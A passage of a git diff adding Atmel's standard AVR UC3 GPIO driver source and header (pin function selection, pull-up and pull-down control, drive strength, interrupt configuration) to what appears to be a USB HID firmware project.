Compiler: GCC and IAR for AVR + * - Supported devices: All AVR UC3 devices with a GPIO module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "gpio.h" + +//! GPIO module instance. +#define GPIO AVR32_GPIO + + +/*! \name Peripheral Bus Interface + */ +//! @{ + + +int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size) +{ + int status = GPIO_SUCCESS; + uint32_t i; + + for (i = 0; i < size; i++) + { + status |= gpio_enable_module_pin(gpiomap->pin, gpiomap->function); + gpiomap++; + } + + return status; +} + + +int gpio_enable_module_pin(uint32_t pin, uint32_t function) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Enable the correct function. + switch (function) + { + case 0: // A function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 1: // B function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 2: // C function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 3: // D function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + case 4: // E function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 5: // F function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 6: // G function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 7: // H function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; +#endif + + default: + return GPIO_INVALID_ARGUMENT; + } + + // Disable GPIO control. + gpio_port->gperc = 1 << (pin & 0x1F); + + return GPIO_SUCCESS; +} + + +void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size) +{ + uint32_t i; + + for (i = 0; i < size; i++) + { + gpio_enable_gpio_pin(gpiomap->pin); + gpiomap++; + } +} + + +void gpio_enable_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->oderc = 1 << (pin & 0x1F); + gpio_port->gpers = 1 << (pin & 0x1F); +} + + +// The open-drain mode is not synthesized on the current AVR32 products. +// If one day some AVR32 products have this feature, the corresponding part +// numbers should be listed in the #if below. +// Note that other functions are available in this driver to use pins with open +// drain in GPIO mode. The advantage of the open-drain mode functions over these +// other functions is that they can be used not only in GPIO mode but also in +// module mode. +#if 0 + + +void gpio_enable_pin_open_drain(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->odmers = 1 << (pin & 0x1F); +} + + +void gpio_disable_pin_open_drain(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->odmerc = 1 << (pin & 0x1F); +} + + +#endif + + +void gpio_enable_pin_pull_up(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puers = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pderc = 1 << (pin & 0x1F); +#endif +} + + +void gpio_disable_pin_pull_up(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); +} + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) +// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control. + +/*! \brief Enables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +void gpio_enable_pin_pull_down(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); + gpio_port->pders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +void gpio_disable_pin_pull_down(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->pderc = 1 << (pin & 0x1F); +} + +/*! \brief Enables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +void gpio_enable_pin_buskeeper(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puers = 1 << (pin & 0x1F); + gpio_port->pders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +void gpio_disable_pin_buskeeper(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); + gpio_port->pderc = 1 << (pin & 0x1F); +} + +#endif + +void gpio_configure_pin(uint32_t pin, uint32_t flags) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + /* Both pull-up and pull-down set means buskeeper */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_PULL_DOWN) + gpio_port->pders = 1 << (pin & 0x1F); + else + gpio_port->pderc = 1 << (pin & 0x1F); +#endif + if (flags & GPIO_PULL_UP) + gpio_port->puers = 1 << (pin & 0x1F); + else + gpio_port->puerc = 1 << (pin & 0x1F); + + /* Enable open-drain mode if requested */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_OPEN_DRAIN) + gpio_port->odmers = 1 << (pin & 0x1F); + else + gpio_port->odmerc = 1 << (pin & 0x1F); + + if (flags & GPIO_OPEN_DRAIN) + gpio_port->pders = 1 << (pin & 0x1F); + else + gpio_port->pderc = 1 << (pin & 0x1F); +#endif + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + /* Select drive strength */ + if (flags & GPIO_DRIVE_LOW) + gpio_port->odcr0s = 1 << (pin & 0x1F); + else + gpio_port->odcr0c = 1 << (pin & 0x1F); + if (flags & GPIO_DRIVE_HIGH) + gpio_port->odcr1s = 1 << (pin & 0x1F); + else + gpio_port->odcr1c = 1 << (pin & 0x1F); +#endif + + /* Select interrupt level for group */ + if (flags & GPIO_INTERRUPT) { + if (flags & GPIO_BOTHEDGES) + { + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + } + else if (flags & GPIO_RISING) + { + gpio_port->imr0s = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + } + else if (flags & GPIO_FALLING) + { + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1s = 1 << (pin & 0x1F); + } + } + + /* Select direction and initial pin state */ + if (flags & GPIO_DIR_OUTPUT) { + if (flags & GPIO_INIT_HIGH) + gpio_port->ovrs = 1 << (pin & 0x1F); + else + gpio_port->ovrc = 1 << (pin & 0x1F); + gpio_port->oders = 1 << (pin & 0x1F); + } else { + gpio_port->oderc = 1 << (pin & 0x1F); + } + + /* Enable GPIO */ + gpio_port->gpers = 1 << (pin & 0x1F); +} + +void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + + /* Both pull-up and pull-down set means buskeeper */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_PULL_DOWN) + gpio_port->pders = mask; + else + gpio_port->pderc = mask; +#endif + if (flags & GPIO_PULL_UP) + gpio_port->puers = mask; + else + gpio_port->puerc = mask; + + /* Enable open-drain mode if requested */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_OPEN_DRAIN) + gpio_port->odmers = mask; + else + gpio_port->odmerc = mask; + + if (flags & GPIO_OPEN_DRAIN) + gpio_port->pders = mask; + else + gpio_port->pderc = mask; +#endif + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + /* Select drive strength */ + if (flags & GPIO_DRIVE_LOW) + gpio_port->odcr0s = mask; + else + gpio_port->odcr0c = mask; + if (flags & GPIO_DRIVE_HIGH) + gpio_port->odcr1s = mask; + else + gpio_port->odcr1c = mask; +#endif + + /* Select interrupt level for group */ + if (flags & GPIO_INTERRUPT) { + if (flags & GPIO_BOTHEDGES) + { + gpio_port->imr0c = mask; + gpio_port->imr1c = mask; + } + else if (flags & GPIO_RISING) + { + gpio_port->imr0s = mask; + gpio_port->imr1c = mask; + } + else if (flags & GPIO_FALLING) + { + gpio_port->imr0c = mask; + gpio_port->imr1s = mask; + } + } + + /* Select direction and initial pin state */ + if (flags & GPIO_DIR_OUTPUT) { + if (flags & GPIO_INIT_HIGH) + gpio_port->ovrs = mask; + else + gpio_port->ovrc = mask; + gpio_port->oders = mask; + } else { + gpio_port->oderc = mask; + } + + /* Enable GPIO */ + gpio_port->gpers = mask; +} + +int gpio_get_pin_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->pvr >> (pin & 0x1F)) & 1; +} + + +int gpio_get_gpio_pin_output_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->ovr >> (pin & 0x1F)) & 1; +} + + +int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return ((gpio_port->oder >> (pin & 0x1F)) & 1) ^ 1; +} + + +void gpio_set_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_set_pin_high(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1. +} + +void gpio_set_group_high(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrs = mask; // Value to be driven on the I/O group: 1. +} + + +void gpio_set_pin_low(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. +} + +void gpio_clr_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_set_group_low(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrc = mask; // Value to be driven on the I/O group: 0. +} + +void gpio_tgl_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_toggle_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line. +} + +void gpio_toggle_group(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrt = mask; // Toggle the I/O port. +} + +void gpio_set_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_clr_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_tgl_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line if the GPIO output driver is enabled: 0. + gpio_port->odert = 1 << (pin & 0x1F); // The GPIO output driver is toggled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_enable_pin_glitch_filter(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->gfers = 1 << (pin & 0x1F); +} + + +void gpio_disable_pin_glitch_filter(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->gferc = 1 << (pin & 0x1F); +} + +/*! \brief Configure the edge detector of an input pin + * + * \param pin The pin number. + * \param mode The edge detection mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE + * or \ref GPIO_FALLING_EDGE). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +static int gpio_configure_edge_detector(uint32_t pin, uint32_t mode) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Configure the edge detector. + switch (mode) + { + case GPIO_PIN_CHANGE: + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + break; + + case GPIO_RISING_EDGE: + gpio_port->imr0s = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + break; + + case GPIO_FALLING_EDGE: + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1s = 1 << (pin & 0x1F); + break; + + default: + return GPIO_INVALID_ARGUMENT; + } + + return GPIO_SUCCESS; +} + + +int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Enable the glitch filter. + gpio_port->gfers = 1 << (pin & 0x1F); + + // Configure the edge detector. + if(GPIO_INVALID_ARGUMENT == gpio_configure_edge_detector(pin, mode)) + return(GPIO_INVALID_ARGUMENT); + + // Enable interrupt. + gpio_port->iers = 1 << (pin & 0x1F); + + return GPIO_SUCCESS; +} + + +void gpio_disable_pin_interrupt(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ierc = 1 << (pin & 0x1F); +} + + +int gpio_get_pin_interrupt_flag(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->ifr >> (pin & 0x1F)) & 1; +} + + +void gpio_clear_pin_interrupt_flag(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ifrc = 1 << (pin & 0x1F); +} + + +//# +//# Peripheral Event System Support. +//# +#if UC3L +int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + if(true == use_igf) + { + // Enable the glitch filter. + gpio_port->gfers = 1 << (pin & 0x1F); + } + else + { + // Disable the glitch filter. + gpio_port->gferc = 1 << (pin & 0x1F); + } + + // Configure the edge detector. + return(gpio_configure_edge_detector(pin, mode)); +} + +#endif + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.h new file mode 100755 index 0000000..7095049 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.h @@ -0,0 +1,680 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief GPIO software driver interface for AVR UC3. + * + * - Compiler: GCC and IAR for AVR + * - Supported devices: All AVR UC3 devices with a GPIO module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _GPIO_H_ +#define _GPIO_H_ + +#include +#include "compiler.h" + +/*! \name Return Values of the GPIO API + */ +//! @{ +#define GPIO_SUCCESS 0 //!< Function successfully completed. +#define GPIO_INVALID_ARGUMENT 1 //!< Input parameters are out of range. +//! @} + + +/*! \name Interrupt Trigger Modes + */ +//! @{ +#define GPIO_PIN_CHANGE 0 //!< Interrupt triggered upon pin change. +#define GPIO_RISING_EDGE 1 //!< Interrupt triggered upon rising edge. +#define GPIO_FALLING_EDGE 2 //!< Interrupt triggered upon falling edge. +//! @} + +/*! \name Common defines for GPIO_FLAGS parameter + */ +//! @{ +#define GPIO_DIR_INPUT (0 << 0) //!< Pin is Input +#define GPIO_DIR_OUTPUT (1 << 0) //!< Pin is Output +#define GPIO_INIT_LOW (0 << 1) //!< Initial Ouptput State is Low +#define GPIO_INIT_HIGH (1 << 1) //!< Initial Ouptput State is High +#define GPIO_PULL_UP (1 << 2) //!< Pull-Up (when input) +#define GPIO_PULL_DOWN (2 << 2) //!< Pull-Down (when input) +#define GPIO_BUSKEEPER (3 << 2) //!< Bus Keeper +#define GPIO_DRIVE_MIN (0 << 4) //!< Drive Min Configuration +#define GPIO_DRIVE_LOW (1 << 4) //!< Drive Low Configuration +#define GPIO_DRIVE_HIGH (2 << 4) //!< Drive High Configuration +#define GPIO_DRIVE_MAX (3 << 4) //!< Drive Max Configuration +#define GPIO_OPEN_DRAIN (1 << 6) //!< Open-Drain (when output) +#define GPIO_INTERRUPT (1 << 7) //!< Enable Pin/Group Interrupt +#define GPIO_BOTHEDGES (3 << 7) //!< Sense Both Edges +#define GPIO_RISING (5 << 7) //!< Sense Risign Edge +#define GPIO_FALLING (7 << 7) //!< Sense Falling Edge +//! @} + +//! A type definition of pins and modules connectivity. +typedef struct +{ + unsigned char pin; //!< Module pin. + unsigned char function; //!< Module function. +} gpio_map_t[]; + + +/*! \name Peripheral Bus Interface + * + * Low-speed interface with a non-deterministic number of clock cycles per + * access. + * + * This interface operates with lower clock frequencies (fPB <= fCPU), and its + * timing is not deterministic since it needs to access a shared bus which may + * be heavily loaded. + * + * \note This interface is immediately available without initialization. + */ +//! @{ + +/*! \brief Enables specific module modes for a set of pins. + * + * \param gpiomap The pin map. + * \param size The number of pins in \a gpiomap. + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size); + +/*! \brief Enables a specific module mode for a pin. + * + * \param pin The pin number.\n + * Refer to the product header file `uc3x.h' (where x is the part + * number; e.g. x = a0512) for module pins. E.g., to enable a PWM + * channel output, the pin number can be AVR32_PWM_3_PIN for PWM + * channel 3. + * \param function The pin function.\n + * Refer to the product header file `uc3x.h' (where x is the + * part number; e.g. x = a0512) for module pin functions. E.g., + * to enable a PWM channel output, the pin function can be + * AVR32_PWM_3_FUNCTION for PWM channel 3. + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_module_pin(uint32_t pin, uint32_t function); + +/*! \brief Enables the GPIO mode of a set of pins. + * + * \param gpiomap The pin map. + * \param size The number of pins in \a gpiomap. + */ +extern void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size); + +/*! \brief Enables the GPIO mode of a pin. + * + * \param pin The pin number.\n + * Refer to the product header file `uc3x.h' (where x is the part + * number; e.g. x = a0512) for pin definitions. E.g., to enable the + * GPIO mode of PX21, AVR32_PIN_PX21 can be used. Module pins such as + * AVR32_PWM_3_PIN for PWM channel 3 can also be used to release + * module pins for GPIO. + */ +extern void gpio_enable_gpio_pin(uint32_t pin); + +// The open-drain mode is not synthesized on the current AVR32 products. +// If one day some AVR32 products have this feature, the corresponding part +// numbers should be listed in the #if below. +// Note that other functions are available in this driver to use pins with open +// drain in GPIO mode. The advantage of the open-drain mode functions over these +// other functions is that they can be used not only in GPIO mode but also in +// module mode. +#if 0 + +/*! \brief Enables the open-drain mode of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_open_drain(uint32_t pin); + +/*! \brief Disables the open-drain mode of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_open_drain(uint32_t pin); + +#endif + +/*! \brief Enables the pull-up resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_pull_up(uint32_t pin); + +/*! \brief Disables the pull-up resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_pull_up(uint32_t pin); + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) +// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control. + +/*! \brief Enables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_pull_down(uint32_t pin); + +/*! \brief Disables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_pull_down(uint32_t pin); + +/*! \brief Enables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_buskeeper(uint32_t pin); + +/*! \brief Disables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_buskeeper(uint32_t pin); + +#endif + +/*! \brief Configuration functionality on a pin. + * + * \param pin The pin number. + * \param flags The configuration. + */ +extern void gpio_configure_pin(uint32_t pin, uint32_t flags); + +/*! \brief Configuration functionality on a port. + * + * \param port The port number. + * \param mask The mask. + * \param flags The configuration. + */ +extern void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags); + +/*! \brief Returns the value of a pin. + * + * \param pin The pin number. + * + * \return The pin value. + */ +extern int gpio_get_pin_value(uint32_t pin); + +/*! + * \brief Check if the pin is in low logical level. + * + * \param pin The pin number. + * \return Bool 1 if the pin is in low logical level + * 0 if the pin is not in low logical level + */ + #define gpio_pin_is_low(pin)\ + (gpio_get_pin_value(pin)?0:1) + +/*! + * \brief Check if the pin is in high logical level. + * + * \param pin The pin number. + * \return Bool 1 if the pin is in high logical level + * 0 if the pin is not in high logical level + */ +#define gpio_pin_is_high(pin) \ + (gpio_get_pin_value(pin)?1:0) + +/*! \brief Returns the output value set for a GPIO pin. + * + * \param pin The pin number. + * + * \return The pin output value. + * + * \note This function must be used in conjunction with \ref gpio_set_gpio_pin, + * \ref gpio_clr_gpio_pin and \ref gpio_tgl_gpio_pin. + */ +extern int gpio_get_gpio_pin_output_value(uint32_t pin); + +/*! \brief Returns the output value set for a GPIO pin using open drain. + * + * \param pin The pin number. + * + * \return The pin output value. + * + * \note This function must be used in conjunction with + * \ref gpio_set_gpio_open_drain_pin, \ref gpio_clr_gpio_open_drain_pin + * and \ref gpio_tgl_gpio_open_drain_pin. + */ +extern int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin); + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + */ +extern void gpio_set_gpio_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_set_pin_high(uint32_t pin); + + +/*! \brief Drives a GPIO port to 1. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_set_group_high(uint32_t port, uint32_t mask); + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + */ +extern void gpio_clr_gpio_pin(uint32_t pin); + +/*! 